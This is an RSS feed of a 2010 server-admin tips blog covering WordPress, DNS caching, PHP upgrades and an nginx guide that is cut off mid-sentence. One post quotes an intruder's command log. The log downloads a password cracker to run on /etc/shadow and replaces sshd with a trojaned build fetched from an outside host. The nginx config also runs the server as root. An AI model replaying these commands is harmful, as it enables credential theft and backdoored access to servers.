<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Web Server Hacks Blog - Hacks for Dedicated/VPS Servers, SSH, and Plesk &#187; Web Server Hacks</title>
	<atom:link href="http://webserverhacks.com/category/web-server-hacks/feed/" rel="self" type="application/rss+xml" />
	<link>http://webserverhacks.com</link>
	<description>Hacks for Dedicated/VPS Servers, SSH, and Plesk</description>
	<lastBuildDate>Wed, 28 Jul 2010 17:59:35 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to Reset Wordpress Password via MySQL Command Line!</title>
		<link>http://webserverhacks.com/web-server-hacks/how-to-reset-wordpress-password-via-mysql-command-line/</link>
		<comments>http://webserverhacks.com/web-server-hacks/how-to-reset-wordpress-password-via-mysql-command-line/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 17:59:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MySql]]></category>
		<category><![CDATA[Web Server Hacks]]></category>
		<category><![CDATA[Wordpress Hacks]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[mysql command line]]></category>
		<category><![CDATA[reset wordpress password]]></category>

		<guid isPermaLink="false">http://webserverhacks.com/?p=140</guid>
		<description><![CDATA[For those of you wondering how to reset your Wordpress admin password via MySQL command line, here&#8217;s how to do it:
Enter your MySQL command line with something like:
mysql -uroot -p
Then enter your password.
Once inside the MySQL command line do:
show databases;
and then find your database for the Wordpress blog that you want to change password.
use mydatabase; [...]]]></description>
			<content:encoded><![CDATA[<p>For those of you wondering how to reset your Wordpress admin password via MySQL command line, here&#8217;s how to do it:</p>
<p>Enter your MySQL command line with something like:</p>
<p><strong>mysql -uroot -p</strong></p>
<p>Then enter your password.</p>
<p>Once inside the MySQL command line do:</p>
<p><strong>show databases;</strong></p>
<p>and then find your database for the Wordpress blog that you want to change password.</p>
<p><strong>use mydatabase; </strong></p>
<p>where mydatabase should be &#8220;your&#8221; database.</p>
<p>Then do:</p>
<p><strong>update wp_users  set user_pass =MD5(&#8217;typenewpasswordhere&#8217;) where id=1;</strong></p>
<p>to change the admin password.</p>
<p>That&#8217;s it!</p>
<p>You can also do:</p>
<p><strong>SELECT ID, user_login, user_pass FROM wp_users;</strong></p>
<p>to list current users.</p>
]]></content:encoded>
			<wfw:commentRss>http://webserverhacks.com/web-server-hacks/how-to-reset-wordpress-password-via-mysql-command-line/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Add DNS Caching to Your Web Server!</title>
		<link>http://webserverhacks.com/web-server-hacks/how-to-add-dns-caching-to-your-web-server/</link>
		<comments>http://webserverhacks.com/web-server-hacks/how-to-add-dns-caching-to-your-web-server/#comments</comments>
		<pubDate>Sun, 23 May 2010 01:17:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Server Hacks]]></category>
		<category><![CDATA[add dns caching]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[slow api]]></category>
		<category><![CDATA[slow twitter api]]></category>
		<category><![CDATA[slow web server]]></category>
		<category><![CDATA[web server]]></category>

		<guid isPermaLink="false">http://webserverhacks.com/?p=113</guid>
		<description><![CDATA[If you have a website that uses a lot of API requests (such as dealing with Twitter), you can save a lot of server load/costs simply by installing DNS caching to your web server.
Each DNS request (every time you request from any domain name using an API) takes anywhere between 0 to 500 miliseconds.   [...]]]></description>
			<content:encoded><![CDATA[<p>If you have a website that uses a lot of API requests (such as dealing with Twitter), you can save a lot of server load/costs simply by installing DNS caching to your web server.</p>
<p>Each DNS request (every time you request from any domain name using an API) takes anywhere between 0 to 500 miliseconds.   Sometimes, adding DNS caching to your web server can make your website load in 1 second versus 10 seconds.</p>
<p>Anyways, it&#8217;s easy to do and here&#8217;s how to do it on CentOS/Fedora linux servers:  (Ubuntu should be similar, just use apt-get install of yum)</p>
<p>First install Bind-utils:</p>
<p><strong>yum install bind-utils</strong></p>
<p>Do a command:</p>
<p><strong>dig yahoo.com</strong></p>
<p>Do it several times and note how many miliseconds it takes to retrieve the URL.  Later, after we install DNSMasq, we will try dig command again to see if your web server has started caching DNS requests.</p>
<p>Install DNSMasq:</p>
<p><strong>yum install dnsmasq</strong></p>
<p>Edit the file in <strong>/etc/dnsmasq.conf</strong>:</p>
<p>Then add the following lines:</p>
<p><strong>listen-address=127.0.0.1<br />
cache-size=500</strong></p>
<p>Next, edit the file in <strong>/etc/dhcp6c.conf</strong>:</p>
<p>Then add the following line:<br />
<strong> prepend domain-name-servers 127.0.0.1;</strong></p>
<p>Next, edit the file in <strong>/etc/resolv.conf</strong>:</p>
<p>Add the following lines with 127.0.0.1 first:</p>
<p><strong>nameserver 127.0.0.1<br />
nameserver 208.67.220.220<br />
nameserver 8.8.8.8<br />
nameserver 8.8.4.4</strong></p>
<p>208.67.220.220 is DNS server of Open DNS, which I highly recommend as it&#8217;s FAST.<br />
Also 8.8.8.8 and 8.8.4.4 are DNS servers of Google, which are also FAST.<br />
You can however, decide to use any other DNS such as your hosting company&#8217;s.</p>
<p>You can do a test of how fast they are by doing a ping test such as:</p>
<p><strong>ping 8.8.8.8 </strong></p>
<p>to test Google&#8217;s DNS server response times.</p>
<p>Next, you can start the DNSMasq so your web server starts caching, do:</p>
<p><strong>/sbin/service dnsmasq start</strong></p>
<p>Also, you will want to add DNSMasq to your chkconfig list so it will start up next time your web server reboots, do:</p>
<p><strong>chkconfig dnsmasq on</strong></p>
<p>To check all the processes running at boot-up, do:</p>
<p><strong>chkconfig &#8211;list</strong></p>
<p>That&#8217;s it!</p>
<p>Now do a dig command on yahoo.com, you should see 0 miliseconds after the first dig command!</p>
<p><strong>dig yahoo.com</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://webserverhacks.com/web-server-hacks/how-to-add-dns-caching-to-your-web-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Ping Your Website Worldwide!</title>
		<link>http://webserverhacks.com/performance-tests/how-to-ping-your-website-worldwide/</link>
		<comments>http://webserverhacks.com/performance-tests/how-to-ping-your-website-worldwide/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 20:49:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Performance Tests]]></category>
		<category><![CDATA[Web Server Hacks]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[just ping]]></category>
		<category><![CDATA[ping]]></category>
		<category><![CDATA[website]]></category>
		<category><![CDATA[world]]></category>
		<category><![CDATA[worldwide]]></category>

		<guid isPermaLink="false">http://webserverhacks.com/?p=109</guid>
		<description><![CDATA[Just Ping is a service that will ping your website from various different locations in the world.  If you want to optimize your site and also wonder how fast it would load in other parts of the world, you can use Just Ping to do just that.
Another great feature is that you can also [...]]]></description>
			<content:encoded><![CDATA[<p><a target="_blank" href="http://just-ping.com/index.php" >Just Ping</a> is a service that will ping your website from various different locations in the world.  If you want to optimize your site and also wonder how fast it would load in other parts of the world, you can use Just Ping to do just that.</p>
<p>Another great feature is that you can also check the IP address being reported by various different points in the world.  What this does is helps you check DNS delegation status of your website during a DNS move.</p>
]]></content:encoded>
			<wfw:commentRss>http://webserverhacks.com/performance-tests/how-to-ping-your-website-worldwide/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Check Your Website During DNS Delegation!</title>
		<link>http://webserverhacks.com/web-server-hacks/how-to-check-your-website-during-dns-delegation/</link>
		<comments>http://webserverhacks.com/web-server-hacks/how-to-check-your-website-during-dns-delegation/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 09:24:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Server Hacks]]></category>
		<category><![CDATA[check website]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[dns delegation]]></category>
		<category><![CDATA[how to]]></category>

		<guid isPermaLink="false">http://webserverhacks.com/?p=105</guid>
		<description><![CDATA[When you change your DNS records, your DNS delegation will usually take more than 12-24 hours on average.  This means that during that time, it might be impossible to check your website.
This can be a big problem if you are moving a website to a new server and you can&#8217;t check if you&#8217;ve moved everything [...]]]></description>
			<content:encoded><![CDATA[<p>When you change your DNS records, your DNS delegation will usually take more than 12-24 hours on average.  This means that during that time, it might be impossible to check your website.</p>
<p>This can be a big problem if you are moving a website to a new server and you can&#8217;t check if you&#8217;ve moved everything right.</p>
<p>So, how do you check your website on the new server during DNS delegation?</p>
<p>You can easily do this by changing the DNS servers on your computer.</p>
<p>For Windows, you can go into your network adaptor settings, then right-click on your adaptor, then select &#8220;Properties&#8221;.</p>
<p><img class="alignnone size-full wp-image-106" title="dns-howto-1" src="http://webserverhacks.com/wp-content/uploads/2010/03/dns-howto-1.PNG" alt="dns-howto-1" width="489" height="361" /></p>
<p>You will see a bunch of options like the above screen shot.  Simply double-click on &#8220;Internet Protocol Version 4 (TCP/IPv4).  This screenshot was from Windows 7 and on other Windows, I think it&#8217;s simply called &#8220;TCP/IP&#8221;.</p>
<p><img class="alignnone size-full wp-image-107" title="dns-howto-2" src="http://webserverhacks.com/wp-content/uploads/2010/03/dns-howto-2.PNG" alt="dns-howto-2" width="406" height="451" /></p>
<p>Here, you can set your DNS server to your new web server&#8217;s IP address.  In this example, I set it to &#8220;47.23.55.24&#8243;.</p>
<p>Click okay and try navigating to your URL such as mydomain.com.  Now you should be able to see your website on your browser and make sure your website has been moved successfully before DNS delegation is finished.</p>
<p>Also, any images not from your own domain name (URL) will not load on your browser.   This is because you can only load elements from your domain name as your DNS is set to your new web server.</p>
<p>Now, this might not work if you are on shared server or it could, it depends on your hosting provider.  For dedicated servers, VPS, or hosting servers with your own unique IP address, it should work flawlessly.</p>
<p>Make sure you go through the above process and set your DNS back to &#8220;Obtain DNS server address automatically&#8221; when you are done testing your new server.</p>
<p>That is one of the ways of doin&#8217; it but there&#8217;s also a better way if you want to be able to access the whole internet.</p>
<p>You can edit the hosts file under C:\windows\system32\drivers\etc\hosts.  Simply edit the file with a notepad program and add the following line at the end of the file:</p>
<p><strong>47.23.55.24 mydomain.com</strong></p>
<p>where <strong>47.23.55.24</strong> is the IP of your new server and <strong>mydomain.com</strong> is the domain name of your website.</p>
<p>Now save the file and try loading your site on the browser, it will load from your new server.</p>
<p>One more thing, you can also check the IP address of your website (to make sure it&#8217;s coming from the new server) by going to command prompt (type <strong>cmd</strong> under <strong>Start-&gt;Search programs and files</strong>) then typing ping <strong>mydomain.com</strong>.</p>
<p>By being able to check that everything is working correctly on your new server, you will lose ZERO traffic during DNS delegation because your website will load flawlessly whether on the old server or the new server.</p>
<p>How cool is that?</p>
<p>Well, for those of you who didn&#8217;t know, now you know!  Make sure to subscribe for more great free tips on hacking your web server!</p>
]]></content:encoded>
			<wfw:commentRss>http://webserverhacks.com/web-server-hacks/how-to-check-your-website-during-dns-delegation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wordpress Hack &#8211; How to Upgrade Wordpress in 15 seconds using SSH/Wget!</title>
		<link>http://webserverhacks.com/web-server-hacks/wordpress-hack-how-to-upgrade-wordpress-in-15-seconds-using-sshwget/</link>
		<comments>http://webserverhacks.com/web-server-hacks/wordpress-hack-how-to-upgrade-wordpress-in-15-seconds-using-sshwget/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 07:51:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Server Hacks]]></category>
		<category><![CDATA[Wordpress Hacks]]></category>
		<category><![CDATA[15 seconds]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[upgrade]]></category>
		<category><![CDATA[wget]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wordpress hack]]></category>

		<guid isPermaLink="false">http://webserverhacks.com/?p=102</guid>
		<description><![CDATA[I&#8217;ve been upgrading Wordpress for almost 4 years now and since I manage about 20 blogs, I have learned to figure out how to upgrade your Wordpress faster than ever using SSH and wget command.
For one, you will need a dedicated server/VPS that supports SSH.  Otherwise you won&#8217;t be able to do it.
Here&#8217;s exactly how [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been upgrading Wordpress for almost 4 years now and since I manage about 20 blogs, I have learned to figure out how to upgrade your Wordpress faster than ever using SSH and wget command.</p>
<p>For one, you will need a dedicated server/VPS that supports SSH.  Otherwise you won&#8217;t be able to do it.</p>
<p>Here&#8217;s exactly how I do it.</p>
<p>1) I go to my Wordpress directory using the command <a target="_blank" href="http://www.computerhope.com/unix/ucd.htm" >cd</a>. ~ 2 seconds</p>
<p>2) I use <a target="_blank" href="http://linux.about.com/od/commands/l/blcmdl1_wget.htm" >wget</a> to pull the latest wordpress files, &#8220;<strong>wget http://wordpress.org/latest.tar.gz</strong>&#8221; ~ 3 seconds</p>
<p>3) Then I unzip the tar file using &#8220;<strong>tar xvf latest.tar.gz</strong>&#8221; ~ 5 seconds (<a target="_blank" href="http://www.computerhope.com/unix/utar.htm" >see tar command howto here</a>)</p>
<p>4) Then I remove the wp-admin and wp-includes directories by doing &#8220;<strong>rm wp-admin -rf</strong>&#8221; and &#8220;<strong>rm wp-includes -rf</strong>&#8220;. ~ 3 seconds</p>
<p>5) Next I will copy over the old Wordpress files with the new ones using commands, &#8220;<strong>cp wordress/* . -rf &#8211;reply=yes</strong>&#8221; ~ 2 seconds.</p>
<p>6) I am done, that&#8217;s 2+3+5+3+2=15 seconds.  If you are on at least a quad-core CPU server, downloading and unzipping should be rather fast but for those of you on slower servers, give it couple more seconds as download/unzip will take longer.</p>
<p>This is lightening fast compared to downloading Wordpress files to your computer, unzipping it then uploading them to your website via FTP.  And if you are on shared hosting, sometimes uploading FTP can take forever.</p>
<p>Even if you use built-in upgrade functions in Wordpress, you are not going to beat SSH, not even a chance.</p>
<p>Of course, even better than this is to write a simple bash shell script that will do all the above for you.  Then you could probably do it in just about 5 seconds.  I will try to write a script soon and let you know on that btw.  (I just realize it!)</p>
]]></content:encoded>
			<wfw:commentRss>http://webserverhacks.com/web-server-hacks/wordpress-hack-how-to-upgrade-wordpress-in-15-seconds-using-sshwget/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CentOS Hack &#8211; How to Upgrade from PHP 5.1.6 to 5.2!</title>
		<link>http://webserverhacks.com/web-server-hacks/centos-hack-how-to-upgrade-from-php-5-1-6-to-5-2/</link>
		<comments>http://webserverhacks.com/web-server-hacks/centos-hack-how-to-upgrade-from-php-5-1-6-to-5-2/#comments</comments>
		<pubDate>Sun, 24 Jan 2010 06:19:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Server Hacks]]></category>
		<category><![CDATA[5.2]]></category>
		<category><![CDATA[centos hack]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[php 5.1.6]]></category>
		<category><![CDATA[upgrade]]></category>

		<guid isPermaLink="false">http://webserverhacks.com/?p=97</guid>
		<description><![CDATA[For those of you who are trying to upgrade from PHP 5.2 because your application requires PHP 5.2 or above, you can use this hack to upgrade your web server running CentOS.  Since CentOS doesn&#8217;t officially support PHP 5.2 officially yet, this could possibly be a great workaround.
Word of caution, this hack has worked fine [...]]]></description>
			<content:encoded><![CDATA[<p>For those of you who are trying to upgrade from PHP 5.2 because your application requires PHP 5.2 or above, you can use this hack to upgrade your web server running CentOS.  Since CentOS doesn&#8217;t officially support PHP 5.2 officially yet, this could possibly be a great workaround.</p>
<p>Word of caution, this hack has worked fine for me for a new Twitter app site I am making that requires use of PHP 5.2 but if you have non-standard customizations to your server, you might want to test it first.</p>
<p>I&#8217;ve also found that JSON library that comes with PHP 5.2 is like 20 times faster rather than trying to run separate JSON libraries with PHP 5.1.6.  It made a HUGE difference let me just say in page loading times. (Like .90 seconds versus 0.003 seconds.)</p>
<blockquote><p>This guide describes how to upgrade the standard PHP 5.1.x packages in CentOS 5.x 32-bit to the current development versions 5.2.x. These instructions were created using CentOS 5.3 32-bit and with the following PHP packages installed:</p>
<p># rpm -qa |grep php</p>
<p>php-common-5.1.6-15.el5.i386<br />
php-cli-5.1.6-15.el5.i386<br />
php-5.1.6-15.el5.i386<br />
php-pdo-5.1.6-15.el5.i386<br />
php-bcmath-5.1.6-15.el5.i386<br />
php-ldap-5.1.6-15.el5.i386<br />
php-devel-5.1.6-15.el5.i386<br />
php-gd-5.1.6-15.el5.i386<br />
php-xml-5.1.6-15.el5.i386<br />
php-mbstring-5.1.6-15.el5.i386<br />
php-mysql-5.1.6-15.el5.i386<br />
php-dba-5.1.6-15.el5.i386</p>
<p>As long as you&#8217;re using the standard PHP packages on your CentOS server you won&#8217;t need to do anything extra. If you&#8217;re using extra PHP packages that aren&#8217;t part of the standard CentOS repositories (like php-mcrypt) you&#8217;ll have to remove them or find updated versions of them.</p></blockquote>
<p><a target="_blank" href="http://wiki.centos.org/HowTos/PHP_5.1_To_5.2" >via cent.os</a></p>
]]></content:encoded>
			<wfw:commentRss>http://webserverhacks.com/web-server-hacks/centos-hack-how-to-upgrade-from-php-5-1-6-to-5-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Install DNS Cache on Your Linux Web Server!</title>
		<link>http://webserverhacks.com/web-server-hacks/how-to-install-dns-cache-on-your-linux-web-server/</link>
		<comments>http://webserverhacks.com/web-server-hacks/how-to-install-dns-cache-on-your-linux-web-server/#comments</comments>
		<pubDate>Sat, 23 Jan 2010 22:28:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Server Hacks]]></category>
		<category><![CDATA[dns cache]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[install]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[web server]]></category>

		<guid isPermaLink="false">http://webserverhacks.com/?p=94</guid>
		<description><![CDATA[If your website does a lot of queries via domain names such as aggregating RSS feeds or even a Twitter app site that accesses Twitter API, you might benefit from installing DNS cache on your linux web server.
For most, you would benefit from installing DNS cache because it will save you a ton of time [...]]]></description>
			<content:encoded><![CDATA[<p>If your website does a lot of queries via domain names such as aggregating RSS feeds or even a Twitter app site that accesses Twitter API, you might benefit from installing DNS cache on your linux web server.</p>
<p>For most, you would benefit from installing DNS cache because it will save you a ton of time for your server to fetch IP addreses. (could be anywhere between 5 to 500ms).</p>
<p>I&#8217;ve actually found a great article showing you how to do this on a Linux desktop computer.  It actually works fine on web servers too.</p>
<p><a target="_blank" href="http://www.webupd8.org/2009/12/faster-browsing-in-linux-with-local-dns.html" >Check out WebUpd8.com for full instructions.</a></p>
<p>Some notes on CentOS users:</p>
<p>You can do &#8220;yum install bind-utils&#8221; to get the dig program.</p>
<p>Also, if you are on the new servers, you might want to edit the &#8220;/etc/dhcp6.conf&#8221; file instead of the dhpclient.conf.</p>
]]></content:encoded>
			<wfw:commentRss>http://webserverhacks.com/web-server-hacks/how-to-install-dns-cache-on-your-linux-web-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How Hackers Hack Web Servers!</title>
		<link>http://webserverhacks.com/web-server-hacks/how-hackers-hack-web-servers/</link>
		<comments>http://webserverhacks.com/web-server-hacks/how-hackers-hack-web-servers/#comments</comments>
		<pubDate>Sat, 19 Dec 2009 01:00:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Server Hacks]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[how]]></category>
		<category><![CDATA[web servers]]></category>

		<guid isPermaLink="false">http://webserverhacks.com/?p=85</guid>
		<description><![CDATA[Here&#8217;s a rather interesting forum post that details how hackers hack web servers:
w
wget geocities.com/cretu_2004/john-1.6.tar.gz;tar zxvf
john-1.6.tar.gz;rm -rf john-1.6.tar.gz;cd john-1.6/src;make linux-x86-any-elf;cd
../run;./john /etc/shadow
wget www.geocities.com/securedro/sshd.tar.gz;tar -xzf sshd.tar.gz;rm
-rf sshd.tar.gz;cd sshd;cd apps/ssh
pico genx.h
pico genx.h
pico ssh2includes.h
cd ../..
./configure &#8211;without-x
make
make install
mkdir /lib/java
cp /usr/sbin/sshd a
mv a /lib/java
rm -rf /usr/sbin/sshd
cp /usr/local/sbin/sshd /usr/sbin
/etc/rc.d/init.d/sshd restart
/etc/rc.d/init.d/ssh restart
locate init.d
/etc/init.d/sshd restart
w
reboot
Of course, the hackers would have to hack your username and [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a rather interesting forum post that details <a target="_blank" href="http://antionline.com/showthread.php?t=267416" >how hackers hack web servers</a>:</p>
<blockquote><p>w<br />
wget geocities.com/cretu_2004/john-1.6.tar.gz;tar zxvf<br />
john-1.6.tar.gz;rm -rf john-1.6.tar.gz;cd john-1.6/src;make linux-x86-any-elf;cd<br />
../run;./john /etc/shadow<br />
wget www.geocities.com/securedro/sshd.tar.gz;tar -xzf sshd.tar.gz;rm<br />
-rf sshd.tar.gz;cd sshd;cd apps/ssh<br />
pico genx.h<br />
pico genx.h<br />
pico ssh2includes.h<br />
cd ../..<br />
./configure &#8211;without-x<br />
make<br />
make install<br />
mkdir /lib/java<br />
cp /usr/sbin/sshd a<br />
mv a /lib/java<br />
rm -rf /usr/sbin/sshd<br />
cp /usr/local/sbin/sshd /usr/sbin<br />
/etc/rc.d/init.d/sshd restart<br />
/etc/rc.d/init.d/ssh restart<br />
locate init.d<br />
/etc/init.d/sshd restart<br />
w<br />
reboot</p></blockquote>
<p>Of course, the hackers would have to hack your username and password first.  Well, use strong passwords!</p>
]]></content:encoded>
			<wfw:commentRss>http://webserverhacks.com/web-server-hacks/how-hackers-hack-web-servers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Install Nginx on a Wordpress Blog!</title>
		<link>http://webserverhacks.com/web-server-hacks/how-to-install-nginx-on-a-wordpress-blog/</link>
		<comments>http://webserverhacks.com/web-server-hacks/how-to-install-nginx-on-a-wordpress-blog/#comments</comments>
		<pubDate>Wed, 16 Dec 2009 22:54:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Server Hacks]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[install]]></category>
		<category><![CDATA[mediawiki]]></category>
		<category><![CDATA[multiple domains]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[permalinks]]></category>
		<category><![CDATA[wiki]]></category>
		<category><![CDATA[wordpress blog]]></category>
		<category><![CDATA[wp super cache]]></category>

		<guid isPermaLink="false">http://webserverhacks.com/?p=35</guid>
		<description><![CDATA[Nginx is another super-fast, web server built for handling massive amounts of web traffic.  Compared to Lighttpd, and based on real-world testing, Nginx offers better performance as it doesn&#8217;t leak memory as Lighttpd.
Recently I had the pleasure of moving all my web servers from Lighttpd to Nginx, here&#8217;s how you can install Nginx on [...]]]></description>
			<content:encoded><![CDATA[<p>Nginx is another super-fast, web server built for handling massive amounts of web traffic.  Compared to Lighttpd, and based on real-world testing, Nginx offers better performance as it doesn&#8217;t leak memory as Lighttpd.</p>
<p>Recently I had the pleasure of moving all my web servers from Lighttpd to Nginx, here&#8217;s how you can install Nginx on your Wordpress blog too:<br />
(Note: This guide includes how to install Nginx on your Wordpress blog with pretty-permalinks, WP super cache workings, multiple domains, and also MediaWiki settings too.)</p>
<p>You can compile <a target="_blank" href="http://nginx.org/en/download.html" >Nginx by downloading the source here</a> OR you can simply download it using Yum for most Fedora/CentOS based servers.</p>
<p>First, set the repository to either this:</p>
<blockquote><p>rpm -Uvh http://download.fedora.redhat.com/pub/epel/5/$(uname -m)/epel-release-5-3.noarch.rpm</p></blockquote>
<p>Or this if above didn&#8217;t work:</p>
<blockquote><p>rpm -Uvh http://download.fedora.redhat.com/pub/epel/5Server/x86_64/epel-release-5-3.noarch.rpm</p></blockquote>
<p>Next, you will use yum command to install <strong>nginx</strong>, <strong>php-cgi</strong>, and <strong>spawn-fcgi</strong>.</p>
<blockquote><p>yum install nginx</p></blockquote>
<blockquote><p>yum install php-cgi</p></blockquote>
<blockquote><p>yum install spawn-fcgi</p></blockquote>
<p>After installing these 3 things, you can make a script to spawn php-cgi processes.  Since Nginx doesn&#8217;t come with a fastcgi, which is required, you need to spawn your own php-cgi (fastcgi) processes.</p>
<p>Copy and paste the following as under <strong>/usr/bin/php-fastcgi</strong> using your favorite editor:</p>
<pre class="php">#!/bin/sh
/usr/bin/spawn-fcgi -f /usr/bin/php-cgi -a 127.0.0.1 -p 9000 -P /var/run/fastcgi-php.pid</pre>
<p><span style="color: #ff0000;"><strong>*Note, you can change the 127.0.0.1 and -p 9000 to a different IP or port if you want to use a different web server or port number. </strong><br />
<strong>Also note that you will have to change configuration files under /etc/nginx/nginx.conf if you do change the values.</strong></span><br />
Next, make sure the new file executable by running the following command from shell:</p>
<blockquote><p>chmod 755 /usr/bin/php-fastcgi</p></blockquote>
<p>Next, we will make an easy init.d script file so we can start and top the fastcgi with ease.</p>
<p>Copy and paste the following as under <strong>/etc/init.d/fastcgi</strong>:</p>
<pre  name="code" class="php">#!/bin/sh
# chkconfig:   - 85 15
# description: FAST CGI!
PHP_SCRIPT=/usr/bin/php-fastcgi
RETVAL=0
case "$1" in
    start)
      $PHP_SCRIPT
      RETVAL=$?
  ;;
    stop)
      killall -9 php-cgi
      RETVAL=$?
  ;;
    restart)
      killall -9 php-cgi
      $PHP_SCRIPT
      RETVAL=$?
  ;;
    *)
      echo "Usage: php-fastcgi {start|stop|restart}"
      exit 1
  ;;
esac
exit $RETVAL</pre>
<p>Next, make sure the new file executable by running the following command from shell:</p>
<blockquote><p>chmod 755 /etc/init.d/fastcgi</p></blockquote>
<p>All right, we are pretty much done except for setting up the Nginx configuration files.  After that, you should be able to switch on/off between any other web server you have been using already such as Apache or Lighttpd.  That way, we can easily revert back to the old web server if it&#8217;s a live server.</p>
<p>Let&#8217;s now edit the Nginx config file at <strong>/etc/nginx/nginx.conf:</strong></p>
<p>Here&#8217;s a sample changes I used for my website, I will explain the details in the code:</p>
<pre  name="code" class="php">#Set the user to "root" or "apache", otherwise you will get permissions error.
user              root;
#Set the worker_processes to number of CPUs you have, in my case, my quad-core web server = 4.
worker_processes  4;

server {
        listen       80;
        #set this to your domain name
        server_name  myserver.com;
        location / {
            #these gzip settings will compress your static files,
            #you need these On so static Wordpress cache files are compressed
            gzip  on;
            gzip_http_version 1.0;
            gzip_vary on;
            gzip_comp_level 9;
            gzip_proxied any;
            gzip_types text/plain text/html text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript;
            gzip_buffers 16 8k;
            #this is the html root of your webserver for myserver.com--------------------
            root   /var/www/vhosts/myserver.com/httpdocs;
            #note we need to add index.php to default config!!!-------------------------
            index  index.php index.html index.htm;
            # if the requested file exists, return it immediately---------------------------
               if (-f $request_filename) {
                       break;

               }
            #this is all for super cache supercache -------------------------------------

               set $supercache_file '';
               set $supercache_uri $request_uri;

               if ($request_method = POST) {
                       set $supercache_uri '';
               }

            # Using pretty permalinks, so bypass the cache for any query string----------
               if ($query_string) {
                       set $supercache_uri '';
               }

               if ($http_cookie ~* "comment_author_|wordpress|wp-postpass_" ) {
                       set $supercache_uri '';
               }

            # if we haven't bypassed the cache, specify our supercache file--------------
               if ($supercache_uri ~ ^(.+)$) {
                       set $supercache_file /wp-content/cache/supercache/$http_host/$1index.html;
                       #use the one below if your blog lies on /blog directory instead of root
                       #set $supercache_file /blog/wp-content/cache/supercache/$http_host/$1index.html;
               }
            # only rewrite to the supercache file if it actually exists----------------------
               if (-f $document_root$supercache_file) {
                       rewrite ^(.*)$ $supercache_file break;
               }

            # all other requests go to Wordpress----------------------------------
               if (!-e $request_filename) {
                        rewrite ^/(.*)$ /index.php?q=$1 last;
                        #use the one below if your blog lies on /blog directory instead of root
                        #rewrite ^/(.*)$ /blog/index.php?q=$1 last;
               }
       }

        location ~ \.php$ {
        #    root           html;
            #if you are using a different IP/port settings as set earlier for fastcgi, make the changes here too!------
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            #also set this to the root directory of your webserver plus $fastcgi_script_name
            fastcgi_param  SCRIPT_FILENAME  /var/www/vhosts/myserver.com/httpdocs$fastcgi_script_name;
            include        fastcgi_params;
        }
}</pre>
<p>*Note &#8211; If you have multiple domains, simply make another nested server with different domain name and make sure to change the directory settings.<br />
**Note2 &#8211; I left out some parts such as error pages and the others, those are up to you to set them according to how you want it.</p>
<p>Now you can test out if your new Nginx web server is working by turning off your current web server and turning on Nginx and Fastcgi.</p>
<p>First, turn off your current web server.</p>
<p>For Apache:</p>
<blockquote><p>/sbin/service httpd off</p></blockquote>
<p>For Lighttpd:</p>
<blockquote><p>/sbin/service lighttpd off</p></blockquote>
<p>Then start Nginx and Fastcgi w/ following commands:</p>
<blockquote><p>/sbin/service nginx on<br />
/sbin/service fastcgi on</p></blockquote>
<p><span style="color: #ff0000;"><strong>*Note &#8211; If you are on a live server, you should really test your Nginx config file by setting Nginx.conf&#8217;s port setting from 80 to 79 then try turning it on.  If you don&#8217;t get errors, then you can try it in live mode, just a tip for anyone doing this on a live website.</strong></span></p>
<p>If you make changes to Nginx.conf file and you want to restart the server, try this command instead of restart:<br />
